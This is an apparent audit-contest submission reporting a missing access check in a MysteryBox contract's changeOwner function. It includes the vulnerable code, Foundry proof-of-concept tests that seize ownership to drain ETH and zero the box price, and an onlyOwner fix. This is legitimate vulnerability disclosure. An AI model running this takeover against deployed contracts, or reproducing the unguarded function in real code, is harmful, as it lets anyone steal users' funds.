Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Ownership Takeover (Missing Access Control)

oxdvoe

Summary

The MysteryBox contract has a critical vulnerability: Any user can take over the contract’s ownership. This could lead to various damaging impacts, such as draining ETH from the contract, manipulating the box price, and preventing users from claiming rewards once the funds are drained. This vulnerability is caused by the absence of access control checks in the changeOwner function, which allows anyone to change the contract’s ownership.

Vulnerability Details

The changeOwner function allows any user to change the ownership of the contract to their own address. There is no access control or ownership verification within the function, making it easy for an attacker to call this function and become the new owner of the contract. Once ownership is taken over, the attacker gains full control of the contract, allowing them to exploit various functionalities.

function changeOwner(address _newOwner) public {
owner = _newOwner;
}

Impact and PoC

Given below are two tests that show how the attacker can

  1. Takeover the ownership and Drain ETH:

/**
* @notice This test is to check if the attacker can withdraw funds from the contract.
* The attacker will change the owner to its own address and then withdraw the funds.
* In this case, the contract balance was 1 ether and the attacker balance was 1 ether as well.
* After the attack, the contract balance was 0 ether and the attacker balance was 2 ether.
*/
function test_UnauthorizedWithdrawFunds() public {
vm.deal(attacker, 1 ether);
vm.startPrank(attacker);
​
uint256 AttackerBalanceBefore = attacker.balance;
console.log("Attacker Balance Before:", AttackerBalanceBefore);
​
uint256 ContractBalanceBefore = address(mysteryBox).balance;
console.log("Contract Balance Before Attack:", ContractBalanceBefore);
​
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.changeOwner(attacker);
​
mysteryBox.withdrawFunds();
uint256 AttackerBalanceAfter = attacker.balance;
console.log("Attacker Balance After:", AttackerBalanceAfter);
​
assertEq(AttackerBalanceAfter, 2 ether);
uint256 ContractBalanceAfter = address(mysteryBox).balance;
assertEq(ContractBalanceAfter, 0 ether);
vm.stopPrank();
}

2. Set the box price to zero and buy boxes without paying any ETH:

/**
* @dev This test proves that the attacker can buy a box without paying any amount of ETH.
* This can be done by taking the ownership and then updating the price to zero.
* In this case, the attacker can buy unlimited boxes without paying any amount of ETH.
*/
​
function test_buyBox_InsufficientFunds() public {
uint256 i;
vm.deal(attacker, 1 ether);
vm.startPrank(attacker);
​
uint256 AttackerBalanceBefore = attacker.balance;
console.log("Attacker Balance Before:", AttackerBalanceBefore);
​
mysteryBox.changeOwner(attacker);
mysteryBox.setBoxPrice(0);
​
for (i = 1; i <= 10; i++) {
mysteryBox.buyBox{value: 0 ether}();
}
​
uint256 AttackerBalanceAfter = attacker.balance;
console.log("Attacker Balance After:", AttackerBalanceAfter);
​
assertEq(AttackerBalanceAfter, AttackerBalanceBefore);
}

3. Users Unable to Claim Rewards:

Once the ETH is drained from the contract, users will no longer be able to claim rewards as the rewards are distributed in ETH. The contract relies on available ETH to pay out rewards, and if all funds are withdrawn, users’ claims will fail.

Tools Used

Foundry

Recommendations

1. Add Access Control to changeOwner():

The changeOwner() function should be restricted to the current contract owner. To ensure this, the onlyOwner modifier should be added to the function.

modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}
​
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}

2. Review Access Controls for All Critical Functions:

Other critical functions, such as withdrawFunds() and setBoxPrice(), should also be protected with the onlyOwner modifier to prevent unauthorized users from manipulating the contract.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.